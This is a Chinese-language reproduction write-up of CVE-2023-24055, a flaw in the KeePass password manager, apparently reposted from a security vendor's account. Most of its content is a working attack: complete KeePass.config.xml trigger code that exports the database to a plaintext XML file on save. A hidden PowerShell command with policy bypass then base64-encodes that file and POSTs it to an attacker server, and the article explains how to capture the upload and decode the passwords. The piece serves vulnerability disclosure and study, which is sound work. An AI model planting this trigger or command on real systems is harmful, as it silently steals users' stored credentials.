CVE-2023-24055 Keepass密码管理工具漏洞复现
2023-5-30 00:1:46 Author: 白帽子(查看原文) 阅读量:32 收藏

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

关于KeePass

KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。

漏洞概述

对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。

利用前提

对 KeePass 配置文件具有写入权限。

复现环境

KeePass:2.46
OS:Ubuntu 20.04 LTS x64
WEB:Apache2

触发器值的设定

触发器示例:

https://keepass.info/help/kb/trigger_examples.html

Name: name
Events: Saved database file | [Equals]
Conditions: <empty>
Actions:

(1) Export active database
File/URL: c:\Users\xxx\AppData\Local\Temp\exploit.xml(会在对应的目录生成exploit.xml文件,里面存放着明文密码)
File/Fortmat: KeePass XML (2.x)

(2) Execute command line / URL
File/URL: PowerShell.exe
Arguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\xxx\AppData\Local\Temp\exploit.xml')))
Window style: Hidden

漏洞复现

打开KeePass 配置文件:KeePass.config.xml,并写入相应的触发器代码

触发器参考代码如下:

<TriggerSystem>
<Triggers>
<Trigger>
<Guid>UVa+fd1Qr0KAcynoacKFKw==</Guid>
<Name>Trigger</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>`C:\Users\xxx\AppData\Local\Temp\exploit.xml`</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://server_addr/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Users\xxx\AppData\Local\Temp\exploit.xml')))</Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerSystem>

在服务器启动web服务,并使用tcpdump抓包(可以根据个人喜好获取数据包,生成的exploit.xml也是保存有明文密码的)。

打开KeePass,生成一个密码并保存。

将服务器抓取到的数据包打开,可以获得带有base64加密密文的数据包。

将数据包解密,就能得到KeePass保存的密码。

本地测试添加触发器

本地测试是可以直接在KeePass添加触发器,值的设定参考前面的内容,测试更方便。

参考链接

https://github.com/alt3kx/CVE-2023-24055_PoC
https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246725&idx=1&sn=ad44ccbbaa354af6d2f2428b5b98b3d5&chksm=82ea55ecb59ddcfa0cc917f38f4b2cb93c94df392d0171567512eb7b059da640346794a8e8c0#rd
如有侵权请联系:admin#unsafe.sh